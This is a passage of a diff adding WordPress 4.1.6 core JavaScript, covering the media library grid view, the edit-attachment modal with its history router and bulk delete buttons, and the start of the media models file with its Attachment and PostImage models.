+	 * A generic management frame workflow.
+	 *
+	 * Used in the media grid view.
+	 *
+	 * @constructor
+	 * @augments wp.media.view.MediaFrame
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.Manage = media.view.MediaFrame.extend({
+		/**
+		 * @global wp.Uploader
+		 */
+		initialize: function() {
+			var self = this;
+			_.defaults( this.options, {
+				title:     '',
+				modal:     false,
+				selection: [],
+				library:   {}, // Options hash for the query to the media library.
+				multiple:  'add',
+				state:     'library',
+				uploader:  true,
+				mode:      [ 'grid', 'edit' ]
+			});
+
+			this.$body = $( document.body );
+			this.$window = $( window );
+			this.$adminBar = $( '#wpadminbar' );
+			this.$window.on( 'scroll resize', _.debounce( _.bind( this.fixPosition, this ), 15 ) );
+			$( document ).on( 'click', '.add-new-h2', _.bind( this.addNewClickHandler, this ) );
+
+			// Ensure core and media grid view UI is enabled.
+			this.$el.addClass('wp-core-ui');
+
+			// Force the uploader off if the upload limit has been exceeded or
+			// if the browser isn't supported.
+			if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
+				this.options.uploader = false;
+			}
+
+			// Initialize a window-wide uploader.
+			if ( this.options.uploader ) {
+				this.uploader = new media.view.UploaderWindow({
+					controller: this,
+					uploader: {
+						dropzone:  document.body,
+						container: document.body
+					}
+				}).render();
+				this.uploader.ready();
+				$('body').append( this.uploader.el );
+
+				this.options.uploader = false;
+			}
+
+			this.gridRouter = new media.view.MediaFrame.Manage.Router();
+
+			// Call 'initialize' directly on the parent class.
+			media.view.MediaFrame.prototype.initialize.apply( this, arguments );
+
+			// Append the frame view directly the supplied container.
+			this.$el.appendTo( this.options.container );
+
+			this.createStates();
+			this.bindRegionModeHandlers();
+			this.render();
+
+			// Update the URL when entering search string (at most once per second)
+			$( '#media-search-input' ).on( 'input', _.debounce( function(e) {
+				var val = $( e.currentTarget ).val(), url = '';
+				if ( val ) {
+					url += '?search=' + val;
+				}
+				self.gridRouter.navigate( self.gridRouter.baseUrl( url ) );
+			}, 1000 ) );
+		},
+
+		/**
+		 * Create the default states for the frame.
+		 */
+		createStates: function() {
+			var options = this.options;
+
+			if ( this.options.states ) {
+				return;
+			}
+
+			// Add the default states.
+			this.states.add([
+				new media.controller.Library({
+					library:            media.query( options.library ),
+					multiple:           options.multiple,
+					title:              options.title,
+					content:            'browse',
+					toolbar:            'select',
+					contentUserSetting: false,
+					filterable:         'all',
+					autoSelect:         false
+				})
+			]);
+		},
+
+		/**
+		 * Bind region mode activation events to proper handlers.
+		 */
+		bindRegionModeHandlers: function() {
+			this.on( 'content:create:browse', this.browseContent, this );
+
+			// Handle a frame-level event for editing an attachment.
+			this.on( 'edit:attachment', this.openEditAttachmentModal, this );
+
+			this.on( 'select:activate', this.bindKeydown, this );
+			this.on( 'select:deactivate', this.unbindKeydown, this );
+		},
+
+		handleKeydown: function( e ) {
+			if ( 27 === e.which ) {
+				e.preventDefault();
+				this.deactivateMode( 'select' ).activateMode( 'edit' );
+			}
+		},
+
+		bindKeydown: function() {
+			this.$body.on( 'keydown.select', _.bind( this.handleKeydown, this ) );
+		},
+
+		unbindKeydown: function() {
+			this.$body.off( 'keydown.select' );
+		},
+
+		fixPosition: function() {
+			var $browser, $toolbar;
+			if ( ! this.isModeActive( 'select' ) ) {
+				return;
+			}
+
+			$browser = this.$('.attachments-browser');
+			$toolbar = $browser.find('.media-toolbar');
+
+			// Offset doesn't appear to take top margin into account, hence +16
+			if ( ( $browser.offset().top + 16 ) < this.$window.scrollTop() + this.$adminBar.height() ) {
+				$browser.addClass( 'fixed' );
+				$toolbar.css('width', $browser.width() + 'px');
+			} else {
+				$browser.removeClass( 'fixed' );
+				$toolbar.css('width', '');
+			}
+		},
+
+		/**
+		 * Click handler for the `Add New` button.
+		 */
+		addNewClickHandler: function( event ) {
+			event.preventDefault();
+			this.trigger( 'toggle:upload:attachment' );
+		},
+
+		/**
+		 * Open the Edit Attachment modal.
+		 */
+		openEditAttachmentModal: function( model ) {
+			// Create a new EditAttachment frame, passing along the library and the attachment model.
+			wp.media( {
+				frame:       'edit-attachments',
+				controller:  this,
+				library:     this.state().get('library'),
+				model:       model
+			} );
+		},
+
+		/**
+		 * Create an attachments browser view within the content region.
+		 *
+		 * @param {Object} contentRegion Basic object with a `view` property, which
+		 *                               should be set with the proper region view.
+		 * @this wp.media.controller.Region
+		 */
+		browseContent: function( contentRegion ) {
+			var state = this.state();
+
+			// Browse our library of attachments.
+			this.browserView = contentRegion.view = new media.view.AttachmentsBrowser({
+				controller: this,
+				collection: state.get('library'),
+				selection:  state.get('selection'),
+				model:      state,
+				sortable:   state.get('sortable'),
+				search:     state.get('searchable'),
+				filters:    state.get('filterable'),
+				display:    state.get('displaySettings'),
+				dragInfo:   state.get('dragInfo'),
+				sidebar:    'errors',
+
+				suggestedWidth:  state.get('suggestedWidth'),
+				suggestedHeight: state.get('suggestedHeight'),
+
+				AttachmentView: state.get('AttachmentView'),
+
+				scrollElement: document
+			});
+			this.browserView.on( 'ready', _.bind( this.bindDeferred, this ) );
+
+			this.errors = wp.Uploader.errors;
+			this.errors.on( 'add remove reset', this.sidebarVisibility, this );
+		},
+
+		sidebarVisibility: function() {
+			this.browserView.$( '.media-sidebar' ).toggle( !! this.errors.length );
+		},
+
+		bindDeferred: function() {
+			if ( ! this.browserView.dfd ) {
+				return;
+			}
+			this.browserView.dfd.done( _.bind( this.startHistory, this ) );
+		},
+
+		startHistory: function() {
+			// Verify pushState support and activate
+			if ( window.history && window.history.pushState ) {
+				Backbone.history.start( {
+					root: _wpMediaGridSettings.adminUrl,
+					pushState: true
+				} );
+			}
+		}
+	});
+
+	/**
+	 * A similar view to media.view.Attachment.Details
+	 * for use in the Edit Attachment modal.
+	 *
+	 * @constructor
+	 * @augments wp.media.view.Attachment.Details
+	 * @augments wp.media.view.Attachment
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachment.Details.TwoColumn = media.view.Attachment.Details.extend({
+		template: media.template( 'attachment-details-two-column' ),
+
+		editAttachment: function( event ) {
+			event.preventDefault();
+			this.controller.content.mode( 'edit-image' );
+		},
+
+		/**
+		 * Noop this from parent class, doesn't apply here.
+		 */
+		toggleSelectionHandler: function() {},
+
+		render: function() {
+			media.view.Attachment.Details.prototype.render.apply( this, arguments );
+
+			media.mixin.removeAllPlayers();
+			this.$( 'audio, video' ).each( function (i, elem) {
+				var el = media.view.MediaDetails.prepareSrc( elem );
+				setTimeout( function() {
+					new MediaElementPlayer( el, media.mixin.mejsSettings );
+				}, 0 );
+			} );
+		}
+	});
+
+	/**
+	 * A router for handling the browser history and application state.
+	 *
+	 * @constructor
+	 * @augments Backbone.Router
+	 */
+	media.view.MediaFrame.Manage.Router = Backbone.Router.extend({
+		routes: {
+			'upload.php?item=:slug':    'showItem',
+			'upload.php?search=:query': 'search'
+		},
+
+		// Map routes against the page URL
+		baseUrl: function( url ) {
+			return 'upload.php' + url;
+		},
+
+		// Respond to the search route by filling the search field and trigggering the input event
+		search: function( query ) {
+			$( '#media-search-input' ).val( query ).trigger( 'input' );
+		},
+
+		// Show the modal with a specific item
+		showItem: function( query ) {
+			var library = media.frame.state().get('library'), item;
+
+			// Trigger the media frame to open the correct item
+			item = library.findWhere( { id: parseInt( query, 10 ) } );
+			if ( item ) {
+				media.frame.trigger( 'edit:attachment', item );
+			} else {
+				item = media.attachment( query );
+				media.frame.listenTo( item, 'change', function( model ) {
+					media.frame.stopListening( item );
+					media.frame.trigger( 'edit:attachment', model );
+				} );
+				item.fetch();
+			}
+		}
+	});
+
+	media.view.EditImage.Details = media.view.EditImage.extend({
+		initialize: function( options ) {
+			this.editor = window.imageEdit;
+			this.frame = options.frame;
+			this.controller = options.controller;
+			media.View.prototype.initialize.apply( this, arguments );
+		},
+
+		back: function() {
+			this.frame.content.mode( 'edit-metadata' );
+		},
+
+		save: function() {
+			var self = this;
+
+			this.model.fetch().done( function() {
+				self.frame.content.mode( 'edit-metadata' );
+			});
+		}
+	});
+
+	/**
+	 * A frame for editing the details of a specific media item.
+	 *
+	 * Opens in a modal by default.
+	 *
+	 * Requires an attachment model to be passed in the options hash under `model`.
+	 *
+	 * @constructor
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.EditAttachments = media.view.MediaFrame.extend({
+
+		className: 'edit-attachment-frame',
+		template: media.template( 'edit-attachment-frame' ),
+		regions:   [ 'title', 'content' ],
+
+		events: {
+			'click .left':  'previousMediaItem',
+			'click .right': 'nextMediaItem'
+		},
+
+		initialize: function() {
+			media.view.Frame.prototype.initialize.apply( this, arguments );
+
+			_.defaults( this.options, {
+				modal: true,
+				state: 'edit-attachment'
+			});
+
+			this.controller = this.options.controller;
+			this.gridRouter = this.controller.gridRouter;
+			this.library = this.options.library;
+
+			if ( this.options.model ) {
+				this.model = this.options.model;
+			}
+
+			this.bindHandlers();
+			this.createStates();
+			this.createModal();
+
+			this.title.mode( 'default' );
+			this.toggleNav();
+		},
+
+		bindHandlers: function() {
+			// Bind default title creation.
+			this.on( 'title:create:default', this.createTitle, this );
+
+			// Close the modal if the attachment is deleted.
+			this.listenTo( this.model, 'change:status destroy', this.close, this );
+
+			this.on( 'content:create:edit-metadata', this.editMetadataMode, this );
+			this.on( 'content:create:edit-image', this.editImageMode, this );
+			this.on( 'content:render:edit-image', this.editImageModeRender, this );
+			this.on( 'close', this.detach );
+		},
+
+		createModal: function() {
+			var self = this;
+
+			// Initialize modal container view.
+			if ( this.options.modal ) {
+				this.modal = new media.view.Modal({
+					controller: this,
+					title:      this.options.title
+				});
+
+				this.modal.on( 'open', function () {
+					$( 'body' ).on( 'keydown.media-modal', _.bind( self.keyEvent, self ) );
+				} );
+
+				// Completely destroy the modal DOM element when closing it.
+				this.modal.on( 'close', function() {
+					self.modal.remove();
+					$( 'body' ).off( 'keydown.media-modal' ); /* remove the keydown event */
+					// Restore the original focus item if possible
+					$( 'li.attachment[data-id="' + self.model.get( 'id' ) +'"]' ).focus();
+					self.resetRoute();
+				} );
+
+				// Set this frame as the modal's content.
+				this.modal.content( this );
+				this.modal.open();
+			}
+		},
+
+		/**
+		 * Add the default states to the frame.
+		 */
+		createStates: function() {
+			this.states.add([
+				new media.controller.EditAttachmentMetadata( { model: this.model } )
+			]);
+		},
+
+		/**
+		 * Content region rendering callback for the `edit-metadata` mode.
+		 *
+		 * @param {Object} contentRegion Basic object with a `view` property, which
+		 *                               should be set with the proper region view.
+		 */
+		editMetadataMode: function( contentRegion ) {
+			contentRegion.view = new media.view.Attachment.Details.TwoColumn({
+				controller: this,
+				model:      this.model
+			});
+
+			/**
+			 * Attach a subview to display fields added via the
+			 * `attachment_fields_to_edit` filter.
+			 */
+			contentRegion.view.views.set( '.attachment-compat', new media.view.AttachmentCompat({
+				controller: this,
+				model:      this.model
+			}) );
+
+			// Update browser url when navigating media details
+			if ( this.model ) {
+				this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id ) );
+			}
+		},
+
+		/**
+		 * Render the EditImage view into the frame's content region.
+		 *
+		 * @param {Object} contentRegion Basic object with a `view` property, which
+		 *                               should be set with the proper region view.
+		 */
+		editImageMode: function( contentRegion ) {
+			var editImageController = new media.controller.EditImage( {
+				model: this.model,
+				frame: this
+			} );
+			// Noop some methods.
+			editImageController._toolbar = function() {};
+			editImageController._router = function() {};
+			editImageController._menu = function() {};
+
+			contentRegion.view = new media.view.EditImage.Details( {
+				model: this.model,
+				frame: this,
+				controller: editImageController
+			} );
+		},
+
+		editImageModeRender: function( view ) {
+			view.on( 'ready', view.loadEditor );
+		},
+
+		toggleNav: function() {
+			this.$('.left').toggleClass( 'disabled', ! this.hasPrevious() );
+			this.$('.right').toggleClass( 'disabled', ! this.hasNext() );
+		},
+
+		/**
+		 * Rerender the view.
+		 */
+		rerender: function() {
+			// Only rerender the `content` region.
+			if ( this.content.mode() !== 'edit-metadata' ) {
+				this.content.mode( 'edit-metadata' );
+			} else {
+				this.content.render();
+			}
+
+			this.toggleNav();
+		},
+
+		/**
+		 * Click handler to switch to the previous media item.
+		 */
+		previousMediaItem: function() {
+			if ( ! this.hasPrevious() ) {
+				this.$( '.left' ).blur();
+				return;
+			}
+			this.model = this.library.at( this.getCurrentIndex() - 1 );
+			this.rerender();
+			this.$( '.left' ).focus();
+		},
+
+		/**
+		 * Click handler to switch to the next media item.
+		 */
+		nextMediaItem: function() {
+			if ( ! this.hasNext() ) {
+				this.$( '.right' ).blur();
+				return;
+			}
+			this.model = this.library.at( this.getCurrentIndex() + 1 );
+			this.rerender();
+			this.$( '.right' ).focus();
+		},
+
+		getCurrentIndex: function() {
+			return this.library.indexOf( this.model );
+		},
+
+		hasNext: function() {
+			return ( this.getCurrentIndex() + 1 ) < this.library.length;
+		},
+
+		hasPrevious: function() {
+			return ( this.getCurrentIndex() - 1 ) > -1;
+		},
+		/**
+		 * Respond to the keyboard events: right arrow, left arrow, except when
+		 * focus is in a textarea or input field.
+		 */
+		keyEvent: function( event ) {
+			if ( ( 'INPUT' === event.target.nodeName || 'TEXTAREA' === event.target.nodeName ) && ! ( event.target.readOnly || event.target.disabled ) ) {
+				return;
+			}
+
+			// The right arrow key
+			if ( 39 === event.keyCode ) {
+				this.nextMediaItem();
+			}
+			// The left arrow key
+			if ( 37 === event.keyCode ) {
+				this.previousMediaItem();
+			}
+		},
+
+		resetRoute: function() {
+			this.gridRouter.navigate( this.gridRouter.baseUrl( '' ) );
+		}
+	});
+
+	media.view.SelectModeToggleButton = media.view.Button.extend({
+		initialize: function() {
+			media.view.Button.prototype.initialize.apply( this, arguments );
+			this.listenTo( this.controller, 'select:activate select:deactivate', this.toggleBulkEditHandler );
+			this.listenTo( this.controller, 'selection:action:done', this.back );
+		},
+
+		back: function () {
+			this.controller.deactivateMode( 'select' ).activateMode( 'edit' );
+		},
+
+		click: function() {
+			media.view.Button.prototype.click.apply( this, arguments );
+			if ( this.controller.isModeActive( 'select' ) ) {
+				this.back();
+			} else {
+				this.controller.deactivateMode( 'edit' ).activateMode( 'select' );
+			}
+		},
+
+		render: function() {
+			media.view.Button.prototype.render.apply( this, arguments );
+			this.$el.addClass( 'select-mode-toggle-button' );
+			return this;
+		},
+
+		toggleBulkEditHandler: function() {
+			var toolbar = this.controller.content.get().toolbar, children;
+
+			children = toolbar.$( '.media-toolbar-secondary > *, .media-toolbar-primary > *');
+
+			// TODO: the Frame should be doing all of this.
+			if ( this.controller.isModeActive( 'select' ) ) {
+				this.model.set( 'text', l10n.cancelSelection );
+				children.not( '.media-button' ).hide();
+				this.$el.show();
+				toolbar.$( '.delete-selected-button' ).removeClass( 'hidden' );
+			} else {
+				this.model.set( 'text', l10n.bulkSelect );
+				this.controller.content.get().$el.removeClass( 'fixed' );
+				toolbar.$el.css( 'width', '' );
+				toolbar.$( '.delete-selected-button' ).addClass( 'hidden' );
+				children.not( '.spinner, .media-button' ).show();
+				this.controller.state().get( 'selection' ).reset();
+			}
+		}
+	});
+
+	/**
+	 * A button that handles bulk Delete/Trash logic
+	 *
+	 * @constructor
+	 * @augments wp.media.view.Button
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.DeleteSelectedButton = media.view.Button.extend({
+		initialize: function() {
+			media.view.Button.prototype.initialize.apply( this, arguments );
+			if ( this.options.filters ) {
+				this.listenTo( this.options.filters.model, 'change', this.filterChange );
+			}
+			this.listenTo( this.controller, 'selection:toggle', this.toggleDisabled );
+		},
+
+		filterChange: function( model ) {
+			if ( 'trash' === model.get( 'status' ) ) {
+				this.model.set( 'text', l10n.untrashSelected );
+			} else if ( media.view.settings.mediaTrash ) {
+				this.model.set( 'text', l10n.trashSelected );
+			} else {
+				this.model.set( 'text', l10n.deleteSelected );
+			}
+		},
+
+		toggleDisabled: function() {
+			this.model.set( 'disabled', ! this.controller.state().get( 'selection' ).length );
+		},
+
+		render: function() {
+			media.view.Button.prototype.render.apply( this, arguments );
+			if ( this.controller.isModeActive( 'select' ) ) {
+				this.$el.addClass( 'delete-selected-button' );
+			} else {
+				this.$el.addClass( 'delete-selected-button hidden' );
+			}
+			this.toggleDisabled();
+			return this;
+		}
+	});
+
+	/**
+	 * When MEDIA_TRASH is true, a button that handles bulk Delete Permanently logic
+	 *
+	 * @constructor
+	 * @augments wp.media.view.DeleteSelectedButton
+	 * @augments wp.media.view.Button
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.DeleteSelectedPermanentlyButton = media.view.DeleteSelectedButton.extend({
+		initialize: function() {
+			media.view.DeleteSelectedButton.prototype.initialize.apply( this, arguments );
+			this.listenTo( this.controller, 'select:activate', this.selectActivate );
+			this.listenTo( this.controller, 'select:deactivate', this.selectDeactivate );
+		},
+
+		filterChange: function( model ) {
+			this.canShow = ( 'trash' === model.get( 'status' ) );
+		},
+
+		selectActivate: function() {
+			this.toggleDisabled();
+			this.$el.toggleClass( 'hidden', ! this.canShow );
+		},
+
+		selectDeactivate: function() {
+			this.toggleDisabled();
+			this.$el.addClass( 'hidden' );
+		},
+
+		render: function() {
+			media.view.Button.prototype.render.apply( this, arguments );
+			this.selectActivate();
+			return this;
+		}
+	});
+
+}(jQuery, _, Backbone, wp));
Index: /tags/4.1.6/src/wp-includes/js/media-models.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/media-models.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/media-models.js	(revision 33402)
@@ -0,0 +1,1456 @@
+/* global _wpMediaModelsL10n:false */
+window.wp = window.wp || {};
+
+(function($){
+	var Attachment, Attachments, Query, PostImage, compare, l10n, media;
+
+	/**
+	 * Create and return a media frame.
+	 *
+	 * Handles the default media experience.
+	 *
+	 * @param  {object} attributes The properties passed to the main media controller.
+	 * @return {wp.media.view.MediaFrame} A media workflow.
+	 */
+	media = wp.media = function( attributes ) {
+		var MediaFrame = media.view.MediaFrame,
+			frame;
+
+		if ( ! MediaFrame ) {
+			return;
+		}
+
+		attributes = _.defaults( attributes || {}, {
+			frame: 'select'
+		});
+
+		if ( 'select' === attributes.frame && MediaFrame.Select ) {
+			frame = new MediaFrame.Select( attributes );
+		} else if ( 'post' === attributes.frame && MediaFrame.Post ) {
+			frame = new MediaFrame.Post( attributes );
+		} else if ( 'manage' === attributes.frame && MediaFrame.Manage ) {
+			frame = new MediaFrame.Manage( attributes );
+		} else if ( 'image' === attributes.frame && MediaFrame.ImageDetails ) {
+			frame = new MediaFrame.ImageDetails( attributes );
+		} else if ( 'audio' === attributes.frame && MediaFrame.AudioDetails ) {
+			frame = new MediaFrame.AudioDetails( attributes );
+		} else if ( 'video' === attributes.frame && MediaFrame.VideoDetails ) {
+			frame = new MediaFrame.VideoDetails( attributes );
+		} else if ( 'edit-attachments' === attributes.frame && MediaFrame.EditAttachments ) {
+			frame = new MediaFrame.EditAttachments( attributes );
+		}
+
+		delete attributes.frame;
+
+		media.frame = frame;
+
+		return frame;
+	};
+
+	_.extend( media, { model: {}, view: {}, controller: {}, frames: {} });
+
+	// Link any localized strings.
+	l10n = media.model.l10n = typeof _wpMediaModelsL10n === 'undefined' ? {} : _wpMediaModelsL10n;
+
+	// Link any settings.
+	media.model.settings = l10n.settings || {};
+	delete l10n.settings;
+
+	/**
+	 * ========================================================================
+	 * UTILITIES
+	 * ========================================================================
+	 */
+
+	/**
+	 * A basic equality comparator for Backbone models.
+	 *
+	 * Used to order models within a collection - @see wp.media.model.Attachments.comparator().
+	 *
+	 * @param  {mixed}  a  The primary parameter to compare.
+	 * @param  {mixed}  b  The primary parameter to compare.
+	 * @param  {string} ac The fallback parameter to compare, a's cid.
+	 * @param  {string} bc The fallback parameter to compare, b's cid.
+	 * @return {number}    -1: a should come before b.
+	 *                      0: a and b are of the same rank.
+	 *                      1: b should come before a.
+	 */
+	compare = function( a, b, ac, bc ) {
+		if ( _.isEqual( a, b ) ) {
+			return ac === bc ? 0 : (ac > bc ? -1 : 1);
+		} else {
+			return a > b ? -1 : 1;
+		}
+	};
+
+	_.extend( media, {
+		/**
+		 * media.template( id )
+		 *
+		 * Fetch a JavaScript template for an id, and return a templating function for it.
+		 *
+		 * See wp.template() in `wp-includes/js/wp-util.js`.
+		 *
+		 * @borrows wp.template as template
+		 */
+		template: wp.template,
+
+		/**
+		 * media.post( [action], [data] )
+		 *
+		 * Sends a POST request to WordPress.
+		 * See wp.ajax.post() in `wp-includes/js/wp-util.js`.
+		 *
+		 * @borrows wp.ajax.post as post
+		 */
+		post: wp.ajax.post,
+
+		/**
+		 * media.ajax( [action], [options] )
+		 *
+		 * Sends an XHR request to WordPress.
+		 * See wp.ajax.send() in `wp-includes/js/wp-util.js`.
+		 *
+		 * @borrows wp.ajax.send as ajax
+		 */
+		ajax: wp.ajax.send,
+
+		/**
+		 * Scales a set of dimensions to fit within bounding dimensions.
+		 *
+		 * @param {Object} dimensions
+		 * @returns {Object}
+		 */
+		fit: function( dimensions ) {
+			var width     = dimensions.width,
+				height    = dimensions.height,
+				maxWidth  = dimensions.maxWidth,
+				maxHeight = dimensions.maxHeight,
+				constraint;
+
+			// Compare ratios between the two values to determine which
+			// max to constrain by. If a max value doesn't exist, then the
+			// opposite side is the constraint.
+			if ( ! _.isUndefined( maxWidth ) && ! _.isUndefined( maxHeight ) ) {
+				constraint = ( width / height > maxWidth / maxHeight ) ? 'width' : 'height';
+			} else if ( _.isUndefined( maxHeight ) ) {
+				constraint = 'width';
+			} else if (  _.isUndefined( maxWidth ) && height > maxHeight ) {
+				constraint = 'height';
+			}
+
+			// If the value of the constrained side is larger than the max,
+			// then scale the values. Otherwise return the originals; they fit.
+			if ( 'width' === constraint && width > maxWidth ) {
+				return {
+					width : maxWidth,
+					height: Math.round( maxWidth * height / width )
+				};
+			} else if ( 'height' === constraint && height > maxHeight ) {
+				return {
+					width : Math.round( maxHeight * width / height ),
+					height: maxHeight
+				};
+			} else {
+				return {
+					width : width,
+					height: height
+				};
+			}
+		},
+		/**
+		 * Truncates a string by injecting an ellipsis into the middle.
+		 * Useful for filenames.
+		 *
+		 * @param {String} string
+		 * @param {Number} [length=30]
+		 * @param {String} [replacement=&hellip;]
+		 * @returns {String} The string, unless length is greater than string.length.
+		 */
+		truncate: function( string, length, replacement ) {
+			length = length || 30;
+			replacement = replacement || '&hellip;';
+
+			if ( string.length <= length ) {
+				return string;
+			}
+
+			return string.substr( 0, length / 2 ) + replacement + string.substr( -1 * length / 2 );
+		}
+	});
+
+	/**
+	 * ========================================================================
+	 * MODELS
+	 * ========================================================================
+	 */
+	/**
+	 * wp.media.attachment
+	 *
+	 * @static
+	 * @param {String} id A string used to identify a model.
+	 * @returns {wp.media.model.Attachment}
+	 */
+	media.attachment = function( id ) {
+		return Attachment.get( id );
+	};
+
+	/**
+	 * wp.media.model.Attachment
+	 *
+	 * @class
+	 * @augments Backbone.Model
+	 */
+	Attachment = media.model.Attachment = Backbone.Model.extend({
+		/**
+		 * Triggered when attachment details change
+		 * Overrides Backbone.Model.sync
+		 *
+		 * @param {string} method
+		 * @param {wp.media.model.Attachment} model
+		 * @param {Object} [options={}]
+		 *
+		 * @returns {Promise}
+		 */
+		sync: function( method, model, options ) {
+			// If the attachment does not yet have an `id`, return an instantly
+			// rejected promise. Otherwise, all of our requests will fail.
+			if ( _.isUndefined( this.id ) ) {
+				return $.Deferred().rejectWith( this ).promise();
+			}
+
+			// Overload the `read` request so Attachment.fetch() functions correctly.
+			if ( 'read' === method ) {
+				options = options || {};
+				options.context = this;
+				options.data = _.extend( options.data || {}, {
+					action: 'get-attachment',
+					id: this.id
+				});
+				return media.ajax( options );
+
+			// Overload the `update` request so properties can be saved.
+			} else if ( 'update' === method ) {
+				// If we do not have the necessary nonce, fail immeditately.
+				if ( ! this.get('nonces') || ! this.get('nonces').update ) {
+					return $.Deferred().rejectWith( this ).promise();
+				}
+
+				options = options || {};
+				options.context = this;
+
+				// Set the action and ID.
+				options.data = _.extend( options.data || {}, {
+					action:  'save-attachment',
+					id:      this.id,
+					nonce:   this.get('nonces').update,
+					post_id: media.model.settings.post.id
+				});
+
+				// Record the values of the changed attributes.
+				if ( model.hasChanged() ) {
+					options.data.changes = {};
+
+					_.each( model.changed, function( value, key ) {
+						options.data.changes[ key ] = this.get( key );
+					}, this );
+				}
+
+				return media.ajax( options );
+
+			// Overload the `delete` request so attachments can be removed.
+			// This will permanently delete an attachment.
+			} else if ( 'delete' === method ) {
+				options = options || {};
+
+				if ( ! options.wait ) {
+					this.destroyed = true;
+				}
+
+				options.context = this;
+				options.data = _.extend( options.data || {}, {
+					action:   'delete-post',
+					id:       this.id,
+					_wpnonce: this.get('nonces')['delete']
+				});
+
+				return media.ajax( options ).done( function() {
+					this.destroyed = true;
+				}).fail( function() {
+					this.destroyed = false;
+				});
+
+			// Otherwise, fall back to `Backbone.sync()`.
+			} else {
+				/**
+				 * Call `sync` directly on Backbone.Model
+				 */
+				return Backbone.Model.prototype.sync.apply( this, arguments );
+			}
+		},
+		/**
+		 * Convert date strings into Date objects.
+		 *
+		 * @param {Object} resp The raw response object, typically returned by fetch()
+		 * @returns {Object} The modified response object, which is the attributes hash
+		 *    to be set on the model.
+		 */
+		parse: function( resp ) {
+			if ( ! resp ) {
+				return resp;
+			}
+
+			resp.date = new Date( resp.date );
+			resp.modified = new Date( resp.modified );
+			return resp;
+		},
+		/**
+		 * @param {Object} data The properties to be saved.
+		 * @param {Object} options Sync options. e.g. patch, wait, success, error.
+		 *
+		 * @this Backbone.Model
+		 *
+		 * @returns {Promise}
+		 */
+		saveCompat: function( data, options ) {
+			var model = this;
+
+			// If we do not have the necessary nonce, fail immeditately.
+			if ( ! this.get('nonces') || ! this.get('nonces').update ) {
+				return $.Deferred().rejectWith( this ).promise();
+			}
+
+			return media.post( 'save-attachment-compat', _.defaults({
+				id:      this.id,
+				nonce:   this.get('nonces').update,
+				post_id: media.model.settings.post.id
+			}, data ) ).done( function( resp, status, xhr ) {
+				model.set( model.parse( resp, xhr ), options );
+			});
+		}
+	}, {
+		/**
+		 * Create a new model on the static 'all' attachments collection and return it.
+		 *
+		 * @static
+		 * @param {Object} attrs
+		 * @returns {wp.media.model.Attachment}
+		 */
+		create: function( attrs ) {
+			return Attachments.all.push( attrs );
+		},
+		/**
+		 * Create a new model on the static 'all' attachments collection and return it.
+		 *
+		 * If this function has already been called for the id,
+		 * it returns the specified attachment.
+		 *
+		 * @static
+		 * @param {string} id A string used to identify a model.
+		 * @param {Backbone.Model|undefined} attachment
+		 * @returns {wp.media.model.Attachment}
+		 */
+		get: _.memoize( function( id, attachment ) {
+			return Attachments.all.push( attachment || { id: id } );
+		})
+	});
+
+	/**
+	 * wp.media.model.PostImage
+	 *
+	 * An instance of an image that's been embedded into a post.
+	 *
+	 * Used in the embedded image attachment display settings modal - @see wp.media.view.MediaFrame.ImageDetails.
+	 *
+	 * @class
+	 * @augments Backbone.Model
+	 *
+	 * @param {int} [attributes]               Initial model attributes.
+	 * @param {int} [attributes.attachment_id] ID of the attachment.
+	 **/
+	PostImage = media.model.PostImage = Backbone.Model.extend({
+
+		initialize: function( attributes ) {
+			this.attachment = false;
+
+			if ( attributes.attachment_id ) {
+				this.attachment = Attachment.get( attributes.attachment_id );
+				if ( this.attachment.get( 'url' ) ) {
+					this.dfd = $.Deferred();
+					this.dfd.resolve();
+				} else {
+					this.dfd = this.attachment.fetch();
+				}
+				this.bindAttachmentListeners();
+			}
+
+			// keep url in sync with changes to the type of link
+			this.on( 'change:link', this.updateLinkUrl, this );
+			this.on( 'change:size', this.updateSize, this );
+
+			this.setLinkTypeFromUrl();
+			this.setAspectRatio();
+
+			this.set( 'originalUrl', attributes.url );
+		},
+
+		bindAttachmentListeners: function() {
+			this.listenTo( this.attachment, 'sync', this.setLinkTypeFromUrl );
+			this.listenTo( this.attachment, 'sync', this.setAspectRatio );
+			this.listenTo( this.attachment, 'change', this.updateSize );
+		},
+
+		changeAttachment: function( attachment, props ) {
+			this.stopListening( this.attachment );
+			this.attachment = attachment;
+			this.bindAttachmentListeners();
+
+			this.set( 'attachment_id', this.attachment.get( 'id' ) );
+			this.set( 'caption', this.attachment.get( 'caption' ) );
+			this.set( 'alt', this.attachment.get( 'alt' ) );
+			this.set( 'size', props.get( 'size' ) );
+			this.set( 'align', props.get( 'align' ) );
+			this.set( 'link', props.get( 'link' ) );
+			this.updateLinkUrl();
+			this.updateSize();
+		},
+
+		setLinkTypeFromUrl: function() {
+			var linkUrl = this.get( 'linkUrl' ),
+				type;
+
+			if ( ! linkUrl ) {
+				this.set( 'link', 'none' );
+				return;
+			}
+
+			// default to custom if there is a linkUrl
+			type = 'custom';
+
+			if ( this.attachment ) {
+				if ( this.attachment.get( 'url' ) === linkUrl ) {
+					type = 'file';
+				} else if ( this.attachment.get( 'link' ) === linkUrl ) {
+					type = 'post';
+				}
+			} else {
+				if ( this.get( 'url' ) === linkUrl ) {
+					type = 'file';
+				}
+			}
+
+			this.set( 'link', type );
+		},
+
+		updateLinkUrl: function() {
+			var link = this.get( 'link' ),
+				url;
+
+			switch( link ) {
+				case 'file':
+					if ( this.attachment ) {
+						url = this.attachment.get( 'url' );
+					} else {
+						url = this.get( 'url' );
+					}
+					this.set( 'linkUrl', url );
+					break;
+				case 'post':
+					this.set( 'linkUrl', this.attachment.get( 'link' ) );
+					break;
+				case 'none':
+					this.set( 'linkUrl', '' );
